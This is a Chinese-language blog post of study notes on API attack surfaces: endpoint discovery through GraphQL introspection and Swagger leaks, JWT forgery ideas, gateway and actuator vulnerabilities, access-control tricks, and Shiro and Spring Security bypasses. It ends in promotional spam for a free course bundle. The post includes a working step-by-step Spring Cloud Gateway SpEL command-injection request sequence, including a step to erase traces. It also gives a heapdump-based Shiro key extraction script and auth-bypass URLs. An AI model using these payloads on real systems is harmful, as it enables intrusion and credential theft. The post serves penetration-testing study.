必要性
前后端分離已經(jīng)成為web的一大趨勢,通過Tomcat+Ngnix(也可以中間有個(gè)Node.js),有效地進(jìn)行解耦。并且前后端分離會(huì)為以后的大型分布式架構(gòu)、彈性計(jì)算架構(gòu)、微服務(wù)架構(gòu)、多端化服務(wù)(多種客戶端,例如:瀏覽器,車載終端,安卓,IOS等等)打下堅(jiān)實(shí)的基礎(chǔ)。而API就承擔(dān)了前后端的通信的職責(zé)。所以學(xué)習(xí)api安全很有必要。
本文的思路在于總結(jié)一些api方面常見的攻擊面。筆者在這塊也尚在學(xué)習(xí)中,如有錯(cuò)誤,還望各位斧正。
常見的api技術(shù)
GraphQL
GraphQL 是一個(gè)用于 API 的查詢語言
通常有如下特征:
(1)數(shù)據(jù)包都是發(fā)送至/graphql接口
(2)其中包含了很多換行符\n
{"query":"\n query IntrospectionQuery {\r\n __schema {\r\n queryType { name }\r\n mutationType { name }\r\n subscriptionType { name }\r\n types {\r\n ...FullType\r\n }\r\n directives {\r\n name\r\n description\r\n locations\r\n args {\r\n ...InputValue\r\n }\r\n }\r\n }\r\n }\r\n\r\n fragment FullType on __Type {\r\n kind\r\n name\r\n description\r\n fields(includeDeprecated: true) {\r\n name\r\n description\r\n args {\r\n ...InputValue\r\n }\r\n type {\r\n ...TypeRef\r\n }\r\n isDeprecated\r\n deprecationReason\r\n }\r\n inputFields {\r\n ...InputValue\r\n }\r\n interfaces {\r\n ...TypeRef\r\n }\r\n enumValues(includeDeprecated: true) {\r\n name\r\n description\r\n isDeprecated\r\n deprecationReason\r\n }\r\n possibleTypes {\r\n ...TypeRef\r\n }\r\n }\r\n\r\n fragment InputValue on __InputValue {\r\n name\r\n description\r\n type { ...TypeRef }\r\n defaultValue\r\n }\r\n\r\n fragment TypeRef on __Type {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n ","variables":null}
SOAP-WSDL
WSDL (Web Services Description Language,Web服務(wù)描述語言)是一種XML Application,他將Web服務(wù)描述定義為一組服務(wù)訪問點(diǎn),客戶端可以通過這些服務(wù)訪問點(diǎn)對包含面向文檔信息或面向過程調(diào)用的服務(wù)進(jìn)行訪問
走的是SOAP協(xié)議,一般發(fā)送的xml格式的數(shù)據(jù),然后會(huì)有WSDL文件
.net中常見的.asmx文件也有wsdl格式 xxx.asmx?wsdl
我們可以使用soapui對這類api進(jìn)行測試
WADL
文件里面有很明顯的wadl標(biāo)志
同樣也可以用soapui的rest功能進(jìn)行測試
REST
rest api并不像前面幾種那種特征明顯,也是如今使用最多的一種api技術(shù)
REST 是一組架構(gòu)規(guī)范,并非協(xié)議或標(biāo)準(zhǔn)。API 開發(fā)人員可以采用各種方式實(shí)施 REST。
當(dāng)客戶端通過 RESTful API 提出請求時(shí),它會(huì)將資源狀態(tài)表述傳遞給請求者或終端。該信息或表述通過 HTTP 以下列某種格式傳輸:JSON(Javascript 對象表示法)、HTML、XLT、Python、PHP 或純文本。JSON 是最常用的編程語言,盡管它的名字英文原意為“JavaScript 對象表示法”,但它適用于各種語言,并且人和機(jī)器都能讀。
還有一些需要注意的地方:頭和參數(shù)在 RESTful API HTTP 請求的 HTTP 方法中也很重要,因?yàn)槠渲邪苏埱蟮脑獢?shù)據(jù)、授權(quán)、統(tǒng)一資源標(biāo)識(shí)符(URI)、緩存、cookie 等重要標(biāo)識(shí)信息。有請求頭和響應(yīng)頭,每個(gè)頭都有自己的 HTTP 連接信息和狀態(tài)碼。
獲取端點(diǎn)的方式
對于api的一些安全測試,通常關(guān)注api的權(quán)限問題,api端點(diǎn)和基礎(chǔ)設(shè)施的安全問題。
要測試api端點(diǎn)的安全問題,肯定得盡量獲取多的api端點(diǎn)
swagger api-docs泄露
Swagger 是一個(gè)規(guī)范和完整的框架,用于生成、描述、調(diào)用和可視化 RESTful 風(fēng)格的 Web 服務(wù)
常見指紋:
# swagger 2
/swagger-ui.html
/api-docs
/v2/api-docs
# swagger 3
/swagger-ui/index.html
/api-docs
/v2/api-docs
/v3/api-docs
...
api-docs可泄露所有端點(diǎn)信息
這里推薦兩個(gè)工具進(jìn)行測試
第一個(gè)是swagger-editor
https://github.com/swagger-api/swagger-editor
下載之后打開index.html就可以用,可以選擇導(dǎo)入或者遠(yuǎn)程加載url,支持json和yaml格式的api-docs
第二個(gè)是apikit https://github.com/API-Security/APIKit
burp插件
graphql內(nèi)省查詢
獲取所有端點(diǎn)信息
https://mp.weixin.qq.com/s/gp2jGrLPllsh5xn7vn9BwQ
{"query":"\n query IntrospectionQuery {\r\n __schema {\r\n queryType { name }\r\n mutationType { name }\r\n subscriptionType { name }\r\n types {\r\n ...FullType\r\n }\r\n directives {\r\n name\r\n description\r\n locations\r\n args {\r\n ...InputValue\r\n }\r\n }\r\n }\r\n }\r\n\r\n fragment FullType on __Type {\r\n kind\r\n name\r\n description\r\n fields(includeDeprecated: true) {\r\n name\r\n description\r\n args {\r\n ...InputValue\r\n }\r\n type {\r\n ...TypeRef\r\n }\r\n isDeprecated\r\n deprecationReason\r\n }\r\n inputFields {\r\n ...InputValue\r\n }\r\n interfaces {\r\n ...TypeRef\r\n }\r\n enumValues(includeDeprecated: true) {\r\n name\r\n description\r\n isDeprecated\r\n deprecationReason\r\n }\r\n possibleTypes {\r\n ...TypeRef\r\n }\r\n }\r\n\r\n fragment InputValue on __InputValue {\r\n name\r\n description\r\n type { ...TypeRef }\r\n defaultValue\r\n }\r\n\r\n fragment TypeRef on __Type {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n ","variables":null}
我們可以用這個(gè)生成接口文檔:
https://github.com/2fd/graphdoc
需要nodejs test.json是剛剛內(nèi)省查詢返回的json格式數(shù)據(jù)
npm install -g @2fd/graphdoc
graphdoc -s ./test.json -o ./doc/schema
然后我們打開生成的/doc/index.html
根據(jù)他這個(gè)格式構(gòu)造數(shù)據(jù)包就行了
其他
在黑盒測試中,很大一個(gè)問題就是api端點(diǎn)找得不夠全,我們需要從對應(yīng)的應(yīng)用或者從其他方面找
(1)web
js html等靜態(tài)資源可以有一些api端點(diǎn)
burp插件JS LinkFinder可以被動(dòng)收集
(2)app和其他客戶端應(yīng)用
(3)github
(4)根據(jù)規(guī)律fuzz
鑒權(quán)方式
Basic Auth
每次請求API時(shí)都提供用戶的username和password
通常在http數(shù)據(jù)包中有一個(gè)Authorization頭
Authorization: Basic base64(username:password)
這個(gè)安全性比較低,現(xiàn)在很少用到
JWT
jwt(json web token)是一種基于 Token 的認(rèn)證授權(quán)機(jī)制
分為三部分
- Header : 描述 JWT 的元數(shù)據(jù),定義了生成簽名的算法以及 Token 的類型。
- Payload : 用來存放實(shí)際需要傳遞的數(shù)據(jù)
- Signature(簽名) :服務(wù)器通過 Payload、Header 和一個(gè)密鑰(Secret)使用 Header 里面指定的簽名算法(默認(rèn)是 HMAC SHA256)生成 防止 JWT被篡改
計(jì)算方式 加密算法( base64(header) + “.” + base64(payload), secret)
在線測試https://jwt.io/
普通token需要后端存儲(chǔ)與用戶的對應(yīng)關(guān)系,而JWT自身攜帶對應(yīng)關(guān)系
其他自定義頭、cookie
諸如apikey 或者隨機(jī)生成的其他形式的token
常見安全問題及測試方法
api網(wǎng)關(guān)
API 網(wǎng)關(guān)是一個(gè)搭建在客戶端和微服務(wù)之間的服務(wù),我們可以在 API 網(wǎng)關(guān)中處理一些非業(yè)務(wù)功能的邏輯,例如權(quán)限驗(yàn)證、監(jiān)控、緩存、請求路由等。
API 網(wǎng)關(guān)就像整個(gè)微服務(wù)系統(tǒng)的門面一樣,是系統(tǒng)對外的唯一入口。有了它,客戶端會(huì)先將請求發(fā)送到 API 網(wǎng)關(guān),然后由 API 網(wǎng)關(guān)根據(jù)請求的標(biāo)識(shí)信息將請求轉(zhuǎn)發(fā)到微服務(wù)實(shí)例。
apisix
Apache APISIX 是 Apache 軟件基金會(huì)下的云原生 API 網(wǎng)關(guān),它兼具動(dòng)態(tài)、實(shí)時(shí)、高性能等特點(diǎn),提供了負(fù)載均衡、動(dòng)態(tài)上游、灰度發(fā)布(金絲雀發(fā)布)、服務(wù)熔斷、身份認(rèn)證、可觀測性等豐富的流量管理功能。我們可以使用 Apache APISIX 來處理傳統(tǒng)的南北向流量,也可以處理服務(wù)間的東西向流量。同時(shí),它也支持作為 K8s Ingress Controller 來使用。
apisix之前爆出過一個(gè)命令執(zhí)行漏洞CVE-2022-24112 (目前最新版本是3.0)
影響范圍:
Apache APISIX 1.3 ~ 2.12.1 之間的所有版本(不包含 2.12.1 )
Apache APISIX 2.10.0 ~ 2.10.4 LTS 之間的所有版本(不包含 2.10.4)
搭建漏洞環(huán)境
git clone https://github.com/twseptian/cve-2022-24112 ##獲取dockerfile文件
cd cve-2022-24112/apisix-docker/example/ ##進(jìn)入相應(yīng)目錄
docker-compose -p docker-apisix up -d ##啟動(dòng)基于docker的apisix所有服務(wù)
利用條件
batch-requests插件默認(rèn)開啟狀態(tài)。
用戶使用了 Apache APISIX 默認(rèn)配置(啟用 Admin API ,使用默認(rèn) Admin Key 且沒有額外分配管理端口),攻擊者可以通過 batch-requests 插件調(diào)用 Admin API 。
攻擊思路
1、利用batch-requests 插件漏洞、繞過請求頭檢測;
2、通過偽造請求頭、向Admin API 注冊路由;
3、注冊路由時(shí)、攜帶參數(shù)filter_func 傳遞 lua代碼、造成遠(yuǎn)程代碼執(zhí)行漏洞
exp:
https://github.com/twseptian/cve-2022-24112/blob/main/poc/poc2.py
Spring Cloud Gateway
Spring Cloud Gateway 是 Spring Cloud 團(tuán)隊(duì)基于 Spring 5.0、Spring Boot 2.0 和 Project Reactor 等技術(shù)開發(fā)的高性能 API 網(wǎng)關(guān)組件
當(dāng)Spring Cloud Gateway啟用和暴露 Gateway Actuator 端點(diǎn)時(shí),使用 Spring Cloud Gateway 的應(yīng)用程序可受到代碼注入攻擊
影響版本
Spring Cloud Gateway < 3.1.1
Spring Cloud Gateway < 3.0.7
Spring Cloud Gateway 其他已不再更新的版本
這個(gè)漏洞本身是一個(gè)SpEL注入
攻擊方法:
第一步 添加路由 value參數(shù)傳入了執(zhí)行cmd的el表達(dá)式
POST /test/actuator/gateway/routes/AAAAAAAAAAAAAAAA HTTP/1.1
Host: xxx.com:9090
User-Agent: xxx
Content-Length: xxx
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Type: application/json
Accept-Encoding: gzip, deflate
Connection: close
{
"id": "AAAAAAAAAAAAAAAA",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()))}"
}
}],
"uri": "http://xxx.com:9090/test/actuator/"
}
第二步 刷新配置
POST /test/actuator/gateway/refresh HTTP/1.1
Host: xxx:9090
User-Agent: xxx
Content-Length: 0
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Connection: close
第三步,獲取命令執(zhí)行結(jié)果
GET /test/actuator/gateway/routes/AAAAAAAAAAAAAAAA HTTP/1.1
Host: xxxx:9090
User-Agent: xxx
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Accept-Encoding: gzip, deflate
Connection: close
清除痕跡:
DELETE /test/actuator/gateway/routes/AAAAAAAAAAAAAAAA HTTP/1.1
Host: xxx
User-Agent: xxx
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Accept-Encoding: gzip, deflate
Connection: close
traefik
這個(gè)倒是沒爆出過什么漏洞,實(shí)戰(zhàn)中遇到過幾次dashboard存在未授權(quán)訪問的情況,
這個(gè)dashboard沒法直接部署容器啥的
但是可以從它http->http routers這里看到一些路由轉(zhuǎn)發(fā)規(guī)則,比如host path,對于后續(xù)的滲透有一些幫助,可以知道一些二級(jí)目錄和域名
還有其他頁面比如http services會(huì)泄露一些內(nèi)網(wǎng)ip等等
actuator
未授權(quán)訪問
默認(rèn)只開放 health
如果在application.properties添加了
management.endpoints.web.exposure.include=*
或者application.yml添加
management:
endpoints:
web:
exposure:
#默認(rèn)值訪問health,info端點(diǎn) 用*可以包含全部端點(diǎn)
include: "*"
endpoint:
health:
show-details: always #獲得健康檢查中所有指標(biāo)的詳細(xì)信息
則會(huì)暴露所有端點(diǎn)(endpoints)
此時(shí)這些端點(diǎn)就存在未授權(quán)訪問
利用方法大部分這篇文章已經(jīng)講了https://github.com/LandGrey/SpringBootVulExploit
這里不再重復(fù)提及
heapdump獲取shiro key
測試環(huán)境:https://github.com/ruiyeclub/SpringBoot-Hello/tree/master/springboot-shiro
下載heapdump /actuator/heapdump
jvisualvm.exe:Java自帶的工具,默認(rèn)路徑為:JDK目錄/bin/jvisualvm.exe
打開heapdump, 搜索org.apache.shiro.web.mgt.CookieRememberMeManager
然后雙擊這個(gè)類,找到key,右邊是key的值
復(fù)制
-83, 105, 9, -110, -96, 22, -27, -120, 23, 113, 108, -104, -1, -35, -6, -111
轉(zhuǎn)換的python腳本:
import base64
import struct
print(base64.b64encode(struct.pack('<bbbbbbbbbbbbbbbb', -83, 105, 9, -110, -96, 22, -27, -120, 23, 113, 108, -104, -1, -35, -6, -111)))
或者使用https://github.com/whwlsfb/JDumpSpider/releases
java -jar JDumpSpider-1.0-SNAPSHOT-full.jar heapdump
后端代碼安全問題
api后端的應(yīng)用也是由代碼寫出來的,各種web安全問題依舊會(huì)存在,比如sql注入 文件上傳等等,這里提一個(gè)遇到比較多的越權(quán)問題和一個(gè)比較有意思的xxe漏洞
越權(quán)
(1)參數(shù)污染
為單個(gè)參數(shù)提供多個(gè)值
GET /api/user?id={userid}
=>
GET /api/user?id={userid1}&id={userid2}
(2)附加特殊字符和隨機(jī)字符串
簡單地替換 id 可能會(huì)導(dǎo)致 40x等情況??梢試L試添加一些特殊字符
/ %20、%09、%0b、%0c、%1c、%1d、%1e、%1f
GET /api/user/1
=>
GET /api/user/1%20
(3)添加查詢參數(shù)
url中可能并沒有參數(shù),可以自己添加一些字段(可以是網(wǎng)站返回的,也可以是常見的一些比如id username等等):
比如
GET /api/user
=>
GET /api/user?id=1
GET /api/user?userid=1
GET /api/user?username=1
...
(4)修改動(dòng)作
常見有增刪改查
比如
GET /api/edit/user/1
=>
GET /api/detele/user/1
PUT /api/user 新增
=>
DETELE /api/user/1 嘗試刪除
xxe
api為了兼容一些不同的應(yīng)用場景比如小程序、app等等,可能會(huì)兼容不同的數(shù)據(jù)傳輸格式
比如之前一個(gè)銀行的測試,接口傳輸數(shù)據(jù)采用的是json格式
將json格式數(shù)據(jù)改為xml格式時(shí),發(fā)現(xiàn)存在xml外部實(shí)體注入漏洞(xxe)
鑒權(quán)繞過思路
偽造jwt token
有些網(wǎng)站,訪問時(shí)會(huì)給你一個(gè)jwt token,但是payload部分很多字段是空的,這個(gè)時(shí)候可以去嘗試去修改payload中,可能和身份認(rèn)證相關(guān)的字段,偽造jwt token。
偽造就需要解決簽名問題
(1)修改簽名算法為none
(2)爆破簽名的密鑰
(3)偽造密鑰
…
可以使用jwt_tool進(jìn)行測試
https://github.com/ticarpi/jwt_tool
Spring-security 認(rèn)證繞過漏洞
CVE-2022-22978
影響版本:
Spring Security 5.5.x < 5.5.7
Spring Security 5.6.x < 5.6.4
在spring-security中利用換行符可實(shí)現(xiàn)權(quán)限認(rèn)證進(jìn)行繞過,\r的URl編碼為%0d,\n的URL編碼為%0a
比如:
/admin/1 -> 需要認(rèn)證
/admin/1%0d%0a -> 繞過認(rèn)證
shiro權(quán)限繞過
舉兩個(gè)例子
(1)CVE-2020-1957
影響版本: shiro < 1.5.2
shiro與spring的URI中對;處理不同,導(dǎo)致繞過
比如http://127.0.0.1:8080/;/admin,shiro則是認(rèn)為是訪問http://127.0.0.1:8080/
比如http://127.0.0.1:8080/;/admin,spring則是認(rèn)位是訪問http://127.0.0.1:8080/admin
這就造成了與shiro處理?式的差異,shiro是直接截?cái)嗪?所有部分,?spring只會(huì)截?cái)唷痉痔?hào)之后,斜杠之前】的部分
/admin/ -> 403
/;aaaa/admin/ -> 200
(2)CVE-2020-13933
影響版本: shiro < 1.6.0
訪問/admin/index 需要認(rèn)證
而/admin/%3bindex,能夠繞過認(rèn)證:
其他
這里就是一些經(jīng)驗(yàn)之談
(1)github、前端的js以及app中可能存在一些測試的token
(2)測試站點(diǎn)的憑據(jù)可能在正式站點(diǎn)上面也有效
(3)有些應(yīng)用有toB toC不同的接口,在校驗(yàn)不嚴(yán)格的情況下,toC端的憑據(jù)可能能用在toB端的接口認(rèn)證上,比如某次漏洞挖掘中小程序用戶登錄獲取token,可以用在商家端的一些api繞過認(rèn)證。
?最后
為了幫助大家更好的學(xué)習(xí)網(wǎng)絡(luò)安全,小編給大家準(zhǔn)備了一份網(wǎng)絡(luò)安全入門/進(jìn)階學(xué)習(xí)資料,里面的內(nèi)容都是適合零基礎(chǔ)小白的筆記和資料,不懂編程也能聽懂、看懂,所有資料共282G,朋友們?nèi)绻行枰拙W(wǎng)絡(luò)安全入門+進(jìn)階學(xué)習(xí)資源包,可以點(diǎn)擊免費(fèi)領(lǐng)取(如遇掃碼問題,可以在評論區(qū)留言領(lǐng)取哦)~
??有需要的小伙伴,可以點(diǎn)擊下方鏈接免費(fèi)領(lǐng)取或者V掃描下方二維碼免費(fèi)領(lǐng)取??
??CSDN大禮包??:全網(wǎng)最全《網(wǎng)絡(luò)安全入門&進(jìn)階學(xué)習(xí)資源包》免費(fèi)分享(安全鏈接,放心點(diǎn)擊)??文章來源:http://www.zghlxwxcb.cn/news/detail-779733.html
?文章來源地址http://www.zghlxwxcb.cn/news/detail-779733.html
1??零基礎(chǔ)入門
① 學(xué)習(xí)路線
對于從來沒有接觸過網(wǎng)絡(luò)安全的同學(xué),我們幫你準(zhǔn)備了詳細(xì)的學(xué)習(xí)成長路線圖??梢哉f是最科學(xué)最系統(tǒng)的學(xué)習(xí)路線,大家跟著這個(gè)大的方向?qū)W習(xí)準(zhǔn)沒問題。
② 路線對應(yīng)學(xué)習(xí)視頻
同時(shí)每個(gè)成長路線對應(yīng)的板塊都有配套的視頻提供:
因篇幅有限,僅展示部分資料
2??視頻配套資料&國內(nèi)外網(wǎng)安書籍、文檔
① 文檔和書籍資料
② 黑客技術(shù)
因篇幅有限,僅展示部分資料
??CSDN大禮包??:全網(wǎng)最全《網(wǎng)絡(luò)安全入門&進(jìn)階學(xué)習(xí)資源包》免費(fèi)分享(安全鏈接,放心點(diǎn)擊)??
?
3??網(wǎng)絡(luò)安全源碼合集+工具包
4??網(wǎng)絡(luò)安全面試題
5??匯總
所有資料 ?? ,朋友們?nèi)绻行枰?《網(wǎng)絡(luò)安全入門+進(jìn)階學(xué)習(xí)資源包》,掃碼獲取~
??CSDN大禮包??:全網(wǎng)最全《網(wǎng)絡(luò)安全入門&進(jìn)階學(xué)習(xí)資源包》免費(fèi)分享(安全鏈接,放心點(diǎn)擊)??
?
到了這里,關(guān)于API安全學(xué)習(xí)筆記(常見攻擊面)的文章就介紹完了。如果您還想了解更多內(nèi)容,請?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!